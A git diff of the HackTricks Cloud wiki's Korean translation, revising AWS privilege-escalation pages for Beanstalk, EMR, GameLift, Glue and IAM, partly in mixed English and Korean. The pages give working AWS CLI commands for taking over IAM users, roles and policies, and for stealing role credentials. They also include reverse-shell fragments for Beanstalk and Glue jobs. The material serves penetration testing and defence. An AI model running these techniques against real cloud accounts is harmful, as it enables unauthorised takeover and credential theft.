있습니다: +Elastic Beanstalk에 대한 **추가 정보**는 다음에서 확인하세요: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Beanstalk에서 민감한 작업을 수행하려면 **많은 다양한 서비스에서 많은 민감한 권한**이 필요합니다. 예를 들어 **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**에 부여된 권한을 확인할 수 있습니다. +> Beanstalk에서 민감한 작업을 수행하려면 여러 서비스에 걸쳐 **많은 민감한 권한**이 필요합니다. 예를 들어 **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**에 부여된 권한을 확인할 수 있습니다. -### `elasticbeanstalk:RebuildEnvironment`, S3 쓰기 권한 및 기타 여러 권한 +### `elasticbeanstalk:RebuildEnvironment`, S3 쓰기 권한 및 기타 다수 -**환경의 **코드**가 포함된 S3 버킷에 대한 **쓰기 권한**과 애플리케이션을 **재구성**할 수 있는 권한(필요한 권한은 `elasticbeanstalk:RebuildEnvironment`와 `S3`, `EC2`, `Cloudformation`과 관련된 몇 가지 더 포함됨)이 있으면 **코드**를 **수정**하고 애플리케이션을 **재구성**할 수 있으며, 다음에 애플리케이션에 접근할 때 **새 코드를 실행**하게 되어 공격자가 애플리케이션과 해당 IAM 역할 자격 증명을 손상시킬 수 있습니다. +환경의 **코드**를 포함한 S3 버킷에 대한 **쓰기 권한**과 애플리케이션을 **재빌드**할 수 있는 권한(필요한 권한으로는 `elasticbeanstalk:RebuildEnvironment` 및 `S3`, `EC2`, `Cloudformation` 관련 몇 가지가 있음)이 있으면, **코드**를 **수정**하고 앱을 **재빌드**할 수 있습니다. 다음에 앱에 접근할 때는 **새 코드를 실행**하게 되므로, 공격자는 애플리케이션과 해당 애플리케이션의 IAM 역할 자격증명을 탈취할 수 있습니다. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -32,23 +32,23 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, 등... -언급된 권한 외에도 여러 **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** 및 **`elasticloadbalancing`** 권한이 원시 Elastic Beanstalk 시나리오를 처음부터 만드는 데 필요합니다. +위에서 언급한 권한과 더불어 **`S3`**, **`EC2`**, **`cloudformation`**, **`autoscaling`** 및 **`elasticloadbalancing`** 권한들은 처음부터 Elastic Beanstalk 시나리오를 생성하는 데 필요합니다. - AWS Elastic Beanstalk 애플리케이션 생성: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` -- AWS Elastic Beanstalk 환경을 생성합니다 ([**지원되는 플랫폼**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): +- AWS Elastic Beanstalk 환경을 생성하세요 ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -환경이 이미 생성되어 있고 **새로운 환경을 만들고 싶지 않다면**, 기존 환경을 **업데이트**할 수 있습니다. +환경이 이미 생성되어 있고 **새로운 환경을 생성하고 싶지 않다면**, 기존 환경을 단순히 **업데이트**할 수 있습니다. -- 애플리케이션 코드와 종속성을 ZIP 파일로 패키징합니다: +- 애플리케이션 코드와 종속성을 ZIP 파일로 패키징하세요: ```python zip -r MyApp.zip . ``` -- ZIP 파일을 S3 버킷에 업로드합니다: +- ZIP 파일을 S3 버킷에 업로드: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` @@ -56,13 +56,13 @@ aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` -- AWS Elastic Beanstalk 환경에 애플리케이션 버전을 배포합니다: +- 애플리케이션 버전을 귀하의 AWS Elastic Beanstalk 환경에 배포하세요: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -우선, **이전 단계**를 따라 **희생자**에서 실행하고 싶은 **코드**로 **정상적인 Beanstalk 환경**을 생성해야 합니다. 잠재적으로 이 **2개 파일**이 포함된 간단한 **zip** 파일이 필요합니다: +무엇보다 먼저, 이전 단계들을 따라 **정상적인 Beanstalk 환경**을 만들고 victim에서 실행하려는 **code**를 배포해야 합니다. 간단한 **zip** 파일에 다음의 **2개 파일**을 포함하면 됩니다: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -당신의 **Beanstalk 환경에서** 리버스 쉘이 실행되고 나면, **희생자의** 환경으로 **이동**할 시간입니다. 그렇게 하려면 **희생자가 접근할 수 있도록** Beanstalk S3 버킷의 **버킷 정책을 업데이트**해야 합니다 (이렇게 하면 **모든 사람에게** 버킷이 **열리게** 됩니다): +자신의 **your own Beanstalk env running** 상태에서 rev shell이 준비되면, 이를 **migrate**하여 **victims** env로 옮길 차례입니다. 이를 위해 beanstalk S3 bucket의 **update the Bucket Policy**를 적용해 **victim can access it**하도록 해야 합니다 (이 작업은 Bucket을 **open**하여 **EVERYONE**에게 공개하게 됩니다): ```json { "Version": "2008-10-17", @@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md deleted file mode 100644 index 6c6fd1651..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ /dev/null @@ -1,62 +0,0 @@ -# AWS - EMR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EMR - -더 많은 **EMR에 대한 정보**는 다음에서 확인하세요: - -{{#ref}} -../aws-services/aws-emr-enum.md -{{#endref}} - -### `iam:PassRole`, `elasticmapreduce:RunJobFlow` - -이 권한을 가진 공격자는 **EC2 역할을 연결하여 새로운 EMR 클러스터를 실행**하고 자격 증명을 훔치려고 시도할 수 있습니다.\ -이 작업을 수행하려면 **계정에 가져온 ssh 개인 키를 알고 있거나 하나를 가져와야** 하며, **마스터 노드에서 포트 22를 열 수 있어야** 합니다(이를 위해 `--ec2-attributes` 내의 `EmrManagedMasterSecurityGroup` 및/또는 `ServiceAccessSecurityGroup` 속성을 사용할 수 있습니다). -```bash -# Import EC2 ssh key (you will need extra permissions for this) -ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" -chmod 400 /tmp/sshkey -base64 /tmp/sshkey.pub > /tmp/pub.key -aws ec2 import-key-pair \ ---key-name "privesc" \ ---public-key-material file:///tmp/pub.key - - -aws emr create-cluster \ ---release-label emr-5.15.0 \ ---instance-type m4.large \ ---instance-count 1 \ ---service-role EMR_DefaultRole \ ---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc - -# Wait 1min and connect via ssh to an EC2 instance of the cluster) -aws emr describe-cluster --cluster-id -# In MasterPublicDnsName you can find the DNS to connect to the master instance -## You cna also get this info listing EC2 instances -``` -**EMR 역할**이 `--service-role`에 지정되고 **ec2 역할**이 `--ec2-attributes`에 지정되는 방식을 주목하세요. 그러나 이 기술은 EC2 역할 자격 증명만 훔칠 수 있게 해줍니다(ssh를 통해 연결할 것이기 때문) 하지만 EMR IAM 역할은 훔칠 수 없습니다. - -**잠재적 영향:** 지정된 EC2 서비스 역할로의 권한 상승. - -### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` - -이 권한으로 공격자는 **AWS 콘솔**에 가서 노트북을 생성하고 이를 통해 IAM 역할을 훔칠 수 있습니다. - -> [!CAUTION] -> 노트북 인스턴스에 IAM 역할을 연결하더라도, 제 테스트에서는 AWS 관리 자격 증명을 훔칠 수 있었고 IAM 역할과 관련된 자격 증명은 훔칠 수 없었습니다. - -**잠재적 영향:** AWS 관리 역할 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 권한 상승. - -### `elasticmapreduce:OpenEditorInConsole` - -이 권한만으로도 공격자는 **Jupyter Notebook에 접근하고** 이에 연결된 IAM 역할을 훔칠 수 있습니다.\ -노트북의 URL은 `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`입니다. - -> [!CAUTION] -> 노트북 인스턴스에 IAM 역할을 연결하더라도, 제 테스트에서는 AWS 관리 자격 증명을 훔칠 수 있었고 IAM 역할과 관련된 자격 증명은 훔칠 수 없었습니다. - -**잠재적 영향:** AWS 관리 역할 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 권한 상승. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md new file mode 100644 index 000000000..ab15d379c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md @@ -0,0 +1,75 @@ +# AWS - EMR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EMR + +EMR에 대한 **추가 정보**는: + +{{#ref}} +../../aws-services/aws-emr-enum.md +{{#endref}} + +### `iam:PassRole`, `elasticmapreduce:RunJobFlow` + +이 권한을 가진 공격자는 **EC2 roles를 연결한 새로운 EMR cluster를 실행**하고 해당 자격 증명(credentials)을 탈취하려 시도할 수 있습니다.\ +이를 위해서는 계정에 import된 일부 ssh priv key를 **알고 있거나** 하나를 import할 수 있어야 하며, 마스터 노드에서 **open port 22**가 가능해야 합니다(`--ec2-attributes` 내부의 `EmrManagedMasterSecurityGroup` 및/또는 `ServiceAccessSecurityGroup` 속성으로 이를 설정할 수 있을 수 있습니다). +```bash +# Import EC2 ssh key (you will need extra permissions for this) +ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" +chmod 400 /tmp/sshkey +base64 /tmp/sshkey.pub > /tmp/pub.key +aws ec2 import-key-pair \ +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key + + +aws emr create-cluster \ +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc + +# Wait 1min and connect via ssh to an EC2 instance of the cluster) +aws emr describe-cluster --cluster-id +# In MasterPublicDnsName you can find the DNS to connect to the master instance +## You cna also get this info listing EC2 instances +``` +Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. + +**참고:** **EMR role**는 `--service-role`에 지정되고, **ec2 role**는 `InstanceProfile` 안의 `--ec2-attributes`에 지정됩니다. 하지만 이 기법은 (ssh로 연결하므로) EC2 role 자격증명만 탈취할 수 있으며 EMR IAM Role은 탈취할 수 없습니다. + +**Potential Impact:** 지정된 EC2 service role로의 Privesc + +### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` + +With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. + +> [!CAUTION] +> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related. + +이 권한들을 가진 공격자는 **AWS console**에 접속해 Notebook을 생성하고 접근하여 IAM Role을 탈취할 수 있습니다. + +> [!CAUTION] +> 제 테스트에서는 Notebook instance에 IAM role을 연결해도 관련 IAM role의 자격증명이 아니라 AWS managed credentials를 탈취할 수 있음을 확인했습니다. + +**Potential Impact:** AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 Privesc + +### `elasticmapreduce:OpenEditorInConsole` + +Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ +The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` + +이 권한 하나만으로 공격자는 **Jupyter Notebook에 접근하여 그에 연관된 IAM role을 탈취**할 수 있습니다.\ +노트북의 URL은 `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` 입니다. + +> [!CAUTION] +> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related + +> [!CAUTION] +> 제 테스트에서는 Notebook instance에 IAM role을 연결해도 관련 IAM role의 자격증명이 아니라 AWS managed credentials를 탈취할 수 있음을 확인했습니다. + +**Potential Impact:** AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md deleted file mode 100644 index 70b8754e9..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - Gamelift - -{{#include ../../../banners/hacktricks-training.md}} - -### `gamelift:RequestUploadCredentials` - -이 권한을 통해 공격자는 Amazon GameLift의 Amazon S3에 새로운 게임 빌드 파일을 업로드할 때 사용할 **새로운 자격 증명 세트를 검색할 수 있습니다**. **S3 업로드 자격 증명**이 반환됩니다. -```bash -aws gamelift request-upload-credentials \ ---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 -``` -## 참고문헌 - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md new file mode 100644 index 000000000..f5fdf22d2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md @@ -0,0 +1,16 @@ +# AWS - Gamelift + +{{#include ../../../../banners/hacktricks-training.md}} + +### `gamelift:RequestUploadCredentials` + +이 권한이 있으면 공격자는 Amazon GameLift의 Amazon S3에 새로운 게임 빌드 파일 세트를 업로드할 때 사용할 수 있는 **업로드 시 사용할 수 있는 새로운 자격 증명 세트**를 가져올 수 있습니다. 이는 **S3 upload credentials**를 반환합니다. +```bash +aws gamelift request-upload-credentials \ +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +``` +## 참고 자료 + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md index f7ed244e0..71d0ba362 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md @@ -1,14 +1,14 @@ # AWS - Glue Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## glue ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -이 권한을 가진 사용자는 **새로운 AWS Glue 개발 엔드포인트를 설정할 수 있으며**, **특정 권한을 가진 Glue에서 가정할 수 있는 기존 서비스 역할을 이 엔드포인트에 할당할 수 있습니다.** +이 권한을 가진 사용자는 **새로운 AWS Glue 개발 엔드포인트를 설정할 수 있으며**, **Glue가 맡을 수 있는 기존 서비스 역할을 해당 엔드포인트에 특정 권한과 함께 할당할 수 있습니다**. -설정 후, **공격자는 엔드포인트의 인스턴스에 SSH로 접속하여**, 할당된 역할의 IAM 자격 증명을 탈취할 수 있습니다: +설정 후, **공격자는 엔드포인트의 인스턴스에 SSH로 접속할 수 있으며**, 할당된 역할의 IAM 자격증명을 탈취할 수 있습니다: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ @@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -은폐 목적을 위해 Glue 가상 머신 내부의 IAM 자격 증명을 사용하는 것이 권장됩니다. +은밀성을 위해 Glue 가상 머신 내부에서 IAM 자격 증명을 사용하는 것이 권장됩니다. -**잠재적 영향:** 지정된 Glue 서비스 역할로의 권한 상승. +**잠재적 영향:** Privesc — 지정된 glue 서비스 역할로 권한 상승. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -이 권한이 있는 사용자는 **기존 Glue 개발** 엔드포인트의 SSH 키를 **변경할 수 있으며**, **SSH 접근을 가능하게 합니다**. 이를 통해 공격자는 엔드포인트에 연결된 역할의 권한으로 명령을 실행할 수 있습니다: +이 권한을 가진 사용자는 **기존 Glue 개발** 엔드포인트의 SSH 키를 변경하여, **해당 엔드포인트에 대한 SSH 접근을 활성화**할 수 있습니다. 이는 공격자가 엔드포인트에 연결된 역할의 권한으로 명령을 실행할 수 있게 합니다: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ @@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**잠재적 영향:** 사용된 Glue 서비스 역할로의 권한 상승. +**Potential Impact:** 사용된 glue 서비스 역할로의 권한 상승. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -**`iam:PassRole`**과 **`glue:CreateJob` 또는 `glue:UpdateJob`** 중 하나, 그리고 **`glue:StartJobRun` 또는 `glue:CreateTrigger`** 중 하나를 결합한 사용자는 **AWS Glue 작업**을 **생성하거나 업데이트**할 수 있으며, 임의의 **Glue 서비스 계정**을 연결하고 작업 실행을 시작할 수 있습니다. 이 작업의 기능에는 임의의 Python 코드를 실행하는 것이 포함되며, 이를 이용해 리버스 셸을 설정할 수 있습니다. 이 리버스 셸은 Glue 작업에 연결된 역할의 **IAM 자격 증명**을 유출하는 데 사용될 수 있으며, 이는 해당 역할의 권한에 따라 잠재적인 무단 접근 또는 행동으로 이어질 수 있습니다. +다음 권한을 가진 사용자는 **`iam:PassRole`** 와 **`glue:CreateJob` 또는 `glue:UpdateJob`**, 그리고 **`glue:StartJobRun` 또는 `glue:CreateTrigger`** 중 각각 하나를 조합하면 **AWS Glue job**을 생성하거나 업데이트하여 임의의 **Glue service account**를 연결하고 작업 실행을 시작할 수 있습니다. 해당 job은 임의의 Python 코드를 실행할 수 있어 이를 이용해 reverse shell을 구축할 수 있습니다. 이 reverse shell을 통해 Glue job에 연결된 역할의 **IAM credential**s을 exfiltrate할 수 있으며, 해당 역할의 권한에 따라 무단 접근이나 조치가 가능해집니다: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -71,16 +71,16 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ --actions '[{"JobName": "privesctest"}]' --start-on-creation \ --schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` -**잠재적 영향:** 지정된 glue 서비스 역할로의 권한 상승. +**Potential Impact:** 지정된 glue service role에 대한 Privesc. ### `glue:UpdateJob` -업데이트 권한만으로 공격자는 이미 연결된 역할의 IAM 자격 증명을 훔칠 수 있습니다. +update 권한만으로 공격자가 이미 연결된 role의 IAM Credentials를 탈취할 수 있다. -**잠재적 영향:** 연결된 glue 서비스 역할로의 권한 상승. +**Potential Impact:** 연결된 glue service role에 대한 Privesc. -## 참조 +## 참고자료 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index a745424df..c1b76b3b0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -1,109 +1,109 @@ # AWS - IAM Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## IAM IAM에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### **`iam:CreatePolicyVersion`** -새로운 IAM 정책 버전을 생성할 수 있는 권한을 부여하며, `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한을 우회할 수 있습니다. 이를 통해 사용자 정의 권한을 정의할 수 있습니다. +`iam:CreatePolicyVersion` 권한은 `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한 없이 새 IAM 정책 버전을 생성할 수 있게 해줍니다. 이를 통해 맞춤 권한을 정의할 수 있습니다. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**영향:** 모든 리소스에 대한 모든 작업을 허용하여 직접적으로 권한을 상승시킵니다. +**영향:** 모든 리소스에 대해 모든 작업을 허용하여 권한을 직접 상승시킵니다. ### **`iam:SetDefaultPolicyVersion`** -IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있으며, 새 버전이 더 많은 권한을 가지고 있다면 권한을 상승시킬 수 있습니다. +IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 하며, 새 버전이 더 많은 권한을 포함하는 경우 권한이 상승할 수 있습니다. -**Bash 명령어:** +**Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**영향:** 더 많은 권한을 활성화하여 간접적인 권한 상승. +**영향:** 더 많은 권한을 부여하여 간접적인 권한 상승을 초래할 수 있음. ### **`iam:CreateAccessKey`** -다른 사용자를 위한 액세스 키 ID 및 비밀 액세스 키를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어질 수 있습니다. +다른 사용자에 대해 access key ID와 secret access key를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어질 수 있음. -**악용:** +**Exploit:** ```bash aws iam create-access-key --user-name ``` -**영향:** 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승. +**영향:** 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승을 발생시킵니다. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -AWS 콘솔 로그인을 위한 비밀번호 설정을 포함하여 로그인 프로필을 생성하거나 업데이트할 수 있는 권한을 부여하며, 이는 직접적인 권한 상승으로 이어집니다. +로그인 프로필을 생성하거나 업데이트할 수 있게 하며(예: AWS 콘솔 로그인용 비밀번호 설정 포함), 이는 직접적인 권한 상승으로 이어집니다. -**생성을 위한 악용:** +**Exploit for Creation:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**업데이트를 위한 익스플로잇:** +**업데이트를 위한 Exploit:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**영향:** "모든" 사용자로 로그인하여 직접 권한 상승. +**Impact:** "any" 사용자로 로그인하여 직접 권한 상승. ### **`iam:UpdateAccessKey`** -비활성화된 액세스 키를 활성화할 수 있으며, 공격자가 비활성화된 키를 소유하고 있다면 무단 액세스로 이어질 수 있습니다. +사용 중지된 access key를 활성화할 수 있으며, 공격자가 해당 access key를 보유하고 있다면 무단 접근으로 이어질 수 있습니다. -**악용:** +**Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**영향:** 액세스 키를 재활성화하여 직접 권한 상승. +**영향:** 액세스 키를 재활성화하여 직접적인 권한 상승을 초래함. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있으며, 관련 사용자의 권한을 상속받습니다. +특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있게 하며, 해당 자격 증명은 연관된 사용자의 권한을 상속합니다. -**생성을 위한 악용:** +**Exploit for Creation:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**리셋을 위한 익스플로잇:** +**Reset을 위한 Exploit:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**영향:** 사용자의 서비스 권한 내에서 직접적인 권한 상승. +**영향:** 사용자의 서비스 권한 범위 내에서 직접적인 권한 상승. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -사용자 또는 그룹에 정책을 연결할 수 있으며, 연결된 정책의 권한을 상속받아 직접적으로 권한을 상승시킵니다. +사용자나 그룹에 정책을 연결할 수 있게 하며, 연결된 정책의 권한을 상속받아 직접적으로 권한이 상승합니다. -**사용자에 대한 악용:** +**Exploit (사용자용):** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**그룹을 위한 익스플로잇:** +**Exploit 그룹용:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**영향:** 정책이 부여하는 모든 것에 대한 직접적인 권한 상승. +**영향:** 정책이 부여하는 모든 대상에 대한 직접적인 권한 상승. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -역할, 사용자 또는 그룹에 정책을 첨부하거나 설정할 수 있는 권한을 부여하여 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다. +역할, 사용자 또는 그룹에 정책을 연결하거나 추가할 수 있도록 허용하여 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다. -**역할에 대한 악용:** +**Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**인라인 정책을 위한 익스플로잇:** +**Inline Policies용 Exploit:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -정책을 다음과 같이 사용할 수 있습니다: +다음과 같은 정책을 사용할 수 있습니다: ```json { "Version": "2012-10-17", @@ -131,24 +131,24 @@ aws iam put-role-policy --role-name --policy-name "" \ ### **`iam:AddUserToGroup`** -IAM 그룹에 자신을 추가할 수 있게 하여 그룹의 권한을 상속받아 권한을 상승시킴. +자신을 IAM 그룹에 추가할 수 있게 하며, 그룹의 권한을 상속받아 권한이 상승합니다. **악용:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**영향:** 그룹 권한 수준으로 직접 권한 상승. +**영향:** 직접적인 privilege escalation을 통해 그룹의 권한 수준으로 상승합니다. ### **`iam:UpdateAssumeRolePolicy`** -역할의 역할 수임 정책 문서를 변경할 수 있으며, 역할과 관련된 권한을 수임할 수 있게 합니다. +해당 권한은 역할의 assume role policy 문서를 변경할 수 있게 하여, 해당 역할과 연관된 권한을 가정(assume)할 수 있도록 합니다. -**악용:** +**Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -정책이 다음과 같이 보이는 경우, 사용자가 역할을 맡을 수 있는 권한을 부여합니다: +정책이 다음과 같아 사용자가 역할을 맡도록 허용하는 경우: ```json { "Version": "2012-10-17", @@ -163,38 +163,38 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**영향:** 모든 역할의 권한을 가정하여 직접적인 권한 상승. +**Impact:** 역할의 권한을 가정하여 직접적인 권한 상승. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -CodeCommit에 인증하기 위한 SSH 공개 키를 업로드하고 MFA 장치를 비활성화할 수 있는 권한을 부여하여 잠재적인 간접 권한 상승으로 이어질 수 있습니다. +SSH 공개 키를 업로드하여 CodeCommit에 인증하거나 